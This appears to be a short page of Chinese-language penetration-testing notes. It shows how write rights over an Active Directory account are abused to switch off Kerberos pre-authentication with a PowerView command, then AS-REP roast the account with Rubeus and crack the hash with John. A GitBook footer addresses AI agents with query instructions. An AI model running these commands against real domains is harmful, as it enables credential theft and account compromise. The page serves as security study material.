> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).

# 通过 ACL 启用 AS-REP 漏洞

### 原理

在某些情况下，用户没有 `不要求 Kerberos 预身份验证` 选项。

但是如果我们对这个用户具有写入权限，例如：

```bash
GenericAll
GenericWrite
WriteAllProperties
```

我们可以修改其属性 `userAccountControl`.

<figure><img src="/files/a829c06af868319345dcadf38de2daf8003b2bcc" alt=""><figcaption></figcaption></figure>

### 示例： `astrid.niki`

用户 `user1` 具有写入权限：

```bash
astrid.niki
```

然后我们启用 `DONT_REQ_PREAUTH` 选项，使用 PowerView：

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```

{% endcode %}

<figure><img src="/files/ca38c22a6ffeb5a07c3cce131ff12ed93595a1b5" alt=""><figcaption></figcaption></figure>

### 重新开始 AS-REP Roasting

修改后，该用户会出现在结果中：

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

<figure><img src="/files/7f48fad54be8e7621a84ec8857f25ebdd5728030" alt=""><figcaption></figcaption></figure>

然后我们破解哈希：

{% code overflow="wrap" %}

```bash
john hash
```

{% endcode %}

<figure><img src="/files/c26f16f98b5a2284ce34f71d32879cbc4bfbd1a8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
